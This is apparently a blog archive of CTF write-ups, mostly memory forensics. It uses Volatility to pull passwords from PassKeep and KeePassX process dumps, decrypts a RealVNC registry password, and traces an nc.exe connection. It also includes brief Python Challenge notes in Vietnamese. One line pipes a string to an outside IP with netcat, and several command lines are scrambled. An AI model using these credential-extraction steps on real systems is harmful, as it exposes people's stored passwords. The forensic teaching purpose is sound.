Writeup CTF: November 2013

Nuit Du Hack 2K12 - "Password Manager 1,2"

<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The latter contained the single file ' memdump.raw '(physical dump of RAM).</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
First, the volatility tool (Windows or Linux) is used to identify the source of this dump RAM.</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility.exe imageinfo-f memdump.raw Volatile Systems Volatility Framework 2.0  Determining profile based on search KDbg ...</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Suggested Profile (s): WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)  AS Layer1: JKIA32PagedMemory (Kernel AS)  AS Layer2: FileAddressSpace (memdump.raw)  EAP Type: No PAE  DTB: 0 × 39000  KDbg: 0x8054cde0L  KPCR: 0xffdff000L  KUSER_SHARED_DATA: 0xffdf0000L  Image date and time: 2012-05-09 11:06:48  Image local date and time: 2012-05-09 11:06:48  Number of Processors: 1  Image Type: Service Pack 3</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The turning process in RAM will enlighten us for the rest of our Forensic searches:</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility pslist-profile = f memdump.raw WinXPSP3x86- Volatile Systems Volatility Framework 2.0 Offset (V)  Name PID PPID THDS HNDs Time  ------------------- -------  0x812ed020 System 4 0 55 231 1970 -01-01 00:00:00  0x811cc5a0 smss.exe 368 4 3 19 2012-05-09 20:06:10  [...]  0x81129a48 PassKeep.exe            1864 1508 2012-05-09 11:06:17 February 39  0xffb22da0 PassKeep.exe            1872 1864 2 104 2012-05-09 11:06:17  0x8120cc08 svchost.exe 1972 652 5 106 2012-05-09 11:06:21  0xffb7a440 wscntfy.exe 1040 1044 1 39 2012-05-09 11:06:24  0x8113f910 alg.exe 1228 652 7 104 2012-05-09 11:06:24  0xffb43c08 DumpIt.exe 124 1508 1 25 2012-05-09 11 : 06:46</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
We will then be interested in PID 1872 and dump the contents in memory PassKeep.exe</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
D: \ NDH2K12> volatility-profile = WinXPSP3x86 memdump.raw-f-p 1872-D memdump Volatile Systems Volatility Framework 2.0  ************************ ************************************************  Writing PassKeep . exe [1872] to 1872.dmp</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Search strings later give us the key!</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> strings 1872.dmp> 1872.dmp.txt [...] admin admin J5XfFsmdrBkRE</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
http://flag.ndh2012.com</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Good game  c: \ program files \ software by design \ passkeep  [...]  It only remains to chop to score MD5: Text: J5XfFsmdrBkRE resultabc7d6294e04e6d6f5c4a9e1aa62370f</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
[Write-Up] Nuit Du Hack 2K12 - "Password Manager 2" Category: Forensic Score: 1500 Description: "Please recover the password from KeePass That memory dump. " </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
We download the following archive: <a href="http://54.247.160.116/forensics/keep2.tar" style="color: #086796; text-decoration: none;">http://54.247.160.116/forensics/keep2.tar</a> <a href="http://54.247.160.116/forensics/keep2.tar" style="color: #086796; text-decoration: none;"></a></div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The latter contained a single file again: memdump.raw (physical dump of RAM).</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
On the same model as the test "  Password manager 1  "we get to isolate the PIDKeePassX.exe .</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility pslist-profile = f memdump.raw WinXPSP3x86- Volatile Systems Volatility Framework 2.0 Offset (V) Name PID PPID THDS HNDs Time ------------------- ------- 0x8111d020 System 4 0 51 240 1970 -01-01 00:00:00 [...] 0xffa25020 KeePassX.exe             768 1584 5 364 2012-04-23 09:16:53</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Once dumped and scrutinized strings, this time it was realized that the file was not as readable as the previous one: The selection of encoding 16-bit little-endian will help us to see it clearer.</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> strings-el 768.dmp> 768.dmp.l.txt</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
This time, there are several instances of "flag.ndh2012.com", but only one with the password that we must pass to score MD5:</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
http://flag.ndh2012.com</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
textLabel7 Tahoma 7cU6QQKCqxCoHp6ii5WrBCUzVzUGzuS5 ? \ \ \ C: \ Documents and Settings \ ndh \ Application Data \ KeePassX \ config.ini fieldname 2390 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Text: 7cU6QQKCqxCoHp6ii5WrBCUzVzUGzuS5 resulte413334776721843940e04037e99971a</div>

Nuit Du Hack 2K12 - "Password Manager 1,2"

The latter contained the single file ' memdump.raw '(physical dump of RAM). First, the volatility tool (Windows or Linux) is us...

4:05 AM

Nuit du hack 2011 CTF Forensic

<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
We need to analyze  dumped memory. I used <a href="https://www.volatilesystems.com/default/volatility" style="color: #1772af; text-decoration: none;" target="_blank" title="volatility">volatility</a> framework version 1.4_rc1. It’s a great tool for memory forensic. There are Linux and Windows 7 support since version 1.4_rc1.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Let’s dump list of process.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw psscan 
Volatile Systems Volatility Framework 1.4_rc1 
*** Failed to import volatility.plugins.registry.printkey (SyntaxError: invalid syntax (printkey.py, line 47)) 
PID    PPID   Time created             Time exited              Offset     PDB        Remarks 
—— —— ———————— ———————— ———- ———- —————- 
0      0                                                   0x00551b80 0x00ae2000 Idle 
1664   1580 2011-03-10 13:02:35               0x01fb0020 0x06f10140 ctfmon.exe 
696    632 2011-03-10 13:02:30                 0x01fce938 0x06f100a0 lsass.exe 
928    684 2011-03-10 13:02:31                 0x01fd1500 0x06f100e0 svchost.exe 
532   1020 2011-03-10 13:02:59                0x01fe8020 0x06f10200 wscntfy.exe 
1020    684 2011-03-10 13:02:31               0x01ff4020 0x06f10100 svchost.exe 
1472    684 2011-03-10 13:02:34               0x0201d7e8 0x06f10180 spoolsv.exe 
500    684 2011-03-10 13:02:58                 0×02192020 0x06f101e0 alg.exe 
1696    684 2011-03-10 13:09:47                0x021ea980 0x06f10240 winvnc4.exe 
1460    860 2011-03-10 13:28:33                0x021eb558 0x06f10280 wmiprvse.exe 
1064    684 2011-03-10 13:02:31                 0x022123c0 0x06f10120 svchost.exe 
608    544 2011-03-10 13:02:29                  0x022216e8 0x06f10040 csrss.exe 
544      4 2011-03-10 13:02:27                   0x022356d8 0x06f10020 smss.exe 
1512   1580 2011-03-10 13:28:14                0x02394da0 0x06f101a0 mmc.exe 
1580   1564 2011-03-10 13:02:34                0x023cf620 0x06f101c0 explorer.exe 
860    684 2011-03-10 13:02:31                  0×02429720 0x06f100c0 svchost.exe 
632    544 2011-03-10 13:02:29                  0x024ac9c0 0x06f10060 winlogon.exe 
1300    684 2011-03-10 13:02:33                 0x024df548 0x06f10160 svchost.exe 
684    632 2011-03-10 13:02:30                     0x025365b0 0x06f10080 services.exe 
4      0                                                   0x025c8830 0x00ae2000 System</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
There is process with name winvnc4 and pid 1696. Probably  it must store pasword in memory, file or registry. 
Dump the list of registry hive.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw hivelist 
Volatile Systems Volatility Framework 1.4_rc1 
Virtual     Physical    Name 
0x8066e904  0x0066e904  [no name] 
0xe1809008  0x08bfd008  \Device\HarddiskVolume1\Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe1986008  0x09f7e008  \Device\HarddiskVolume1\Documents and Settings\eleve\NTUSER.DAT 
0xe17a9768  0x08a48768  \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe179b758  0x08a40758  \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT 
0xe1770008  0x085d6008  \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe175fb60  0x08410b60  \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT 
0xe13ffb60  0x02f2bb60  \Device\HarddiskVolume1\WINDOWS\system32\config\software 
0xe14ab008  0×07023008  \Device\HarddiskVolume1\WINDOWS\system32\config\default 
0xe14abb60  0x07023b60  \Device\HarddiskVolume1\WINDOWS\system32\config\SAM 
0xe14e4758  0x0369d758  \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY 
0xe12e8288  0x02d65288  [no name] 
0xe1035b60  0x02aafb60  \Device\HarddiskVolume1\WINDOWS\system32\config\system 
0xe102e008  0x02ab1008  [no name]</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Print subkeys of hive software.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw printkey –hive-offset 0xe13ffb60 
Volatile Systems Volatility Framework 1.4_rc1 
Legend: (S) = Stable (V) = Volatile</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Key name: $$$PROTO.HIV (S) 
Last updated: 2011-03-10 13:09:47</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Subkeys: 
(S) C07ft5Y 
(S) Classes 
(S) Clients 
(S) Gemplus 
(S) Microsoft 
(S) ODBC 
(S) Policies 
(S) Program Groups 
(S) RealVNC 
(S) Schlumberger 
(S) Secure 
(S) Windows 3.1 Migration Status</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
 </div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Get the password.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw printkey –hive-offset 0xe13ffb60 –key “RealVNC\\WinVNC4″ 
Volatile Systems Volatility Framework 1.4_rc1 
Legend: (S) = Stable (V) = Volatile</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Key name: WinVNC4 (S) 
Last updated: 2011-03-10 13:10:51</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Subkeys:</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Values: 
REG_BINARY Password : (S) 
0000 DA 6E 31 84 95 77 AD 6B .n1..w.k</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
REG_SZ SecurityTypes : (S) VncAuth 
REG_SZ ReverseSecurityTypes : (S) None 
REG_DWORD QueryConnect : (S) 0 
REG_DWORD QueryOnlyIfLoggedOn : (S) 0</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
After looking in source of RealVNC, I found that password was crypted using d3des.  Quick google search give a nice <a href="http://code.google.com/p/vnc2flv/source/browse/trunk/vnc2flv/vnc2flv/d3des.py?r=2" style="color: #1772af; text-decoration: none;" target="_blank" title="python implementation">python implementation</a> with VNC key.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Password : secretpq 
 
 
 
<h4 style="border: 0px none; font-size: 14px; line-height: normal; margin: 20px 0px 5px; padding: 0px;">
Forensic 300</h4>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
<a href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/FORENSIC/FORENSIC300/forensic300.zip" style="color: #1772af; text-decoration: none;" target="_blank">forensic300</a></div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
In this challenge we have memory dump of hacked laptop and need to find some evidence. As in forensic 100 I used volatility and dump process list in firts place.  Option –profile=Win7SP0x86 using to specify OS version.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f  DumpRAM_CTF.vmem pslist  –profile=Win7SP0x86 Volatile Systems Volatility Framework 1.4_rc1 Name                 Pid    PPid   Thds   Hnds   Time System                    4      0     70    434 2011-03-31 14:38:10 smss.exe                216      4      2     29 2011-03-31 14:38:10 csrss.exe               304    296      8    310 2011-03-31 14:38:18 wininit.exe             340    296      3     79 2011-03-31 14:38:19 csrss.exe               352    332      7    169 2011-03-31 14:38:19 winlogon.exe            392    332      4    112 2011-03-31 14:38:20 services.exe            416    340      9    185 2011-03-31 14:38:20 lsass.exe               424    340      8    462 2011-03-31 14:38:21 lsm.exe                 432    340     10    141 2011-03-31 14:38:21 svchost.exe             556    416     13    354 2011-03-31 14:38:23 svchost.exe             632    416      7    218 2011-03-31 14:38:24 svchost.exe             676    416     20    408 2011-03-31 14:38:25 svchost.exe             800    416     19    401 2011-03-31 14:38:28 svchost.exe             832    416     34    902 2011-03-31 14:38:28 svchost.exe             944    416     13    265 2011-03-31 14:38:29 dwm.exe                1080    800      4     70 2011-03-31 14:38:31 svchost.exe            1140    416     16    365 2011-03-31 14:38:32 spoolsv.exe            1276    416     14    281 2011-03-31 14:38:34 svchost.exe            1312    416     22    311 2011-03-31 14:38:34 taskhost.exe           1324    416     11    166 2011-03-31 14:38:34 sppsvc.exe             1664    416      4    146 2011-03-31 14:38:39 explorer.exe           2004   1992     24    591 2011-03-31 14:38:55 rundll32.exe            356    300      4     66 2011-03-31 14:38:57 rundll32.exe            500    332      4     66 2011-03-31 14:38:57 rundll32.exe            496    504      4     67 2011-03-31 14:38:58 SearchIndexer.         1528    416     14    605 2011-03-31 14:39:05 cmd.exe                1392   2004      1     23 2011-03-31 14:39:39 conhost.exe            1380    352      3     57 2011-03-31 14:39:40 mscorsvw.exe            188    416      6     77 2011-03-31 14:40:38 svchost.exe             668    416     13    315 2011-03-31 14:40:40 nc.exe                 1720   1392      2     72 2011-03-31 14:40:41</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
Process nc.exe looks suspicious, let’s look at open connection</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f DumpRAM_CTF.vmem netscan  –profile=Win7SP0x86 Volatile Systems Volatility Framework 1.4_rc1 Offset     Proto    Local Address                  Foreign Address      State            Pid      Owner          Created 0x1e4f5930 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe 0x1e4f5930 TCPv6    :::49156                       :::0                 LISTENING        416      services.exe 0x1e757008 TCPv4    192.168.163.216:139            0.0.0.0:0            LISTENING        4        System 0x1e764b88 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe 0x1e764b88 TCPv6    :::135                         :::0                 LISTENING        632      svchost.exe 0x1e76ca58 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe 0x1e76ebc8 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe 0x1e76ebc8 TCPv6    :::49152                       :::0                 LISTENING        340      wininit.exe 0x1e7872f0 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe 0x1e7ca9b0 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe 0x1e7ca9b0 TCPv6    :::49153                       :::0                 LISTENING        676      svchost.exe 0x1e7caf60 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe 0x1eea5f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe 0x1eea5f60 TCPv6    :::49155                       :::0                 LISTENING        832      svchost.exe 0x1eea6f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe 0x1f07fcc0 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe 0x1f080f60 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe 0x1f080f60 TCPv6    :::49154                       :::0                 LISTENING        424      lsass.exe 0x1fc482d0 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe 0x1fc49560 TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System 0x1fc49560 TCPv6    :::445                         :::0                 LISTENING        4        System 0x1f086df8 TCPv4    192.168.163.216:49158          88.190.230.12:48625  ESTABLISHED      1720     nc.exe 0x1e608d30 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e60d378 UDPv4    0.0.0.0:0                      *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e60d378 UDPv6    :::0                           *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e633198 UDPv4    192.168.163.216:137            *:*                                   4        System         2011-03-31 14:38:46 0x1e75a178 UDPv4    192.168.163.216:138            *:*                                   4        System         2011-03-31 14:38:46 0x1e7c6198 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e7c6198 UDPv6    :::5355                        *:*                                   1140     svchost.exe    2011-03-31 14:38:55</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
We have established connection with 88.190.230.12:48625. Next step I tried to see what data was sent by dumping the process memory  and search for suspicious ip address.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f  DumpRAM_CTF.vmem memdump  –profile=Win7SP0x86 –dump-dir  mem</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
 </div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
strings mem/1720.dmp | grep  -C 5 88.190.230.12 %SystemRoot%\system32\mswsock.dll mvvI ,{M% mvvI ,{M% w CKM88.190.230.12 t:$Bf euLSeu `ahu ahu@ `huh – windir=C:\Windows Secret pass is H4x0r Nice job ! The hash is *************** secte.server_of_dark_hamster.com 88.190.230.12</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
After  sending the string “Secret pass is H4x0r” to 88.190.230.12 48625 is H4x0r. We got the flag.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
echo ‘Secret pass is H4x0r’ | nc 88.190.230.12 48625 Nice job!</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
The hash is 9vjgH368$hgHGjh</div>
</div>

Nuit du hack 2011 CTF Forensic

We need to analyze dumped memory. I used volatility framework version 1.4_rc1. It’s a great tool for memory forensic. There are Linux an...

4:03 AM

python challenge

level 0: <a href="http://www.pythonchallenge.com/pc/def/0.html">http://www.pythonchallenge.com/pc/def/0.html</a> Hint: try to change the URL address. 
<div style="text-align: left;">
Mình đã thử thay đổi url và mình nhận được: 2**38 is much much larger. 2**38 trong python nghĩa là 2 mũ 38.</div>
<div style="text-align: left;">
print pow(2,38) = 274877906944</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
level 1: </div>
<div style="text-align: left;">
Bạn để ý trong hình ảnh: k-> m</div>
<div style="text-align: left;">
o->Q</div>
<div style="text-align: left;">
e->g</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
để ý kĩ thì nó là mã caesar, và map=ocr</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
level 2: </div>
<div style="text-align: left;">
recognize the characters. maybe they are in the book,  but MAYBE they are in the page source.</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
Mình đã view page xem và thấy 1 đống hỗ độn. và mình liên hệ với hint là tìm kiểm kí tự. mình đã code 1 đoạn python</div>
<div style="text-align: left;">
 </div>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="background-color: white; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">string1 = open('text.txt').read()
print ''.join(re.findall('[A-Za-z]', string1))</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">cái text.txt là bạn copy cái đống đấy vào file và lưu thành text.txt nhé.</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">
</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">Level 3: </code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">Mình vẫn thử view page xem, lại thấy 1 đống hỗ độn. Mình lại dùng 1 đoạn code

<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="background-color: white; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">string1 = open('text.txt').read()
print ''.join(re.findall('[^A-Z][A-Z]{3}([a-z])[A-Z]{3}[^A-Z]', string1))</code></pre>

<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">
</code></pre>

</code></pre>
<div style="text-align: -webkit-center;">
 </div>

python challenge

level 0: http://www.pythonchallenge.com/pc/def/0.html Hint: try to change the URL address. Mình đã thử thay đổi url và mình nhận được: 2*...

7:46 PM

Hackyou ctf - steg 100, 200, 300

Hackyou ctf - steg 100, 200, 300

http://blog.w3challs.com/index.php?post/2012/10/13/HackYou-CTF-Stego100%2C-Stego200%2C-Stego300-Writeups

9:17 AM

RuCTF 2013 Quals - Stegano 200

Strange shoplist 
<div class="entry-content body" style="font-family: Georgia, serif; font-size: 13px; line-height: 20.796875px;">
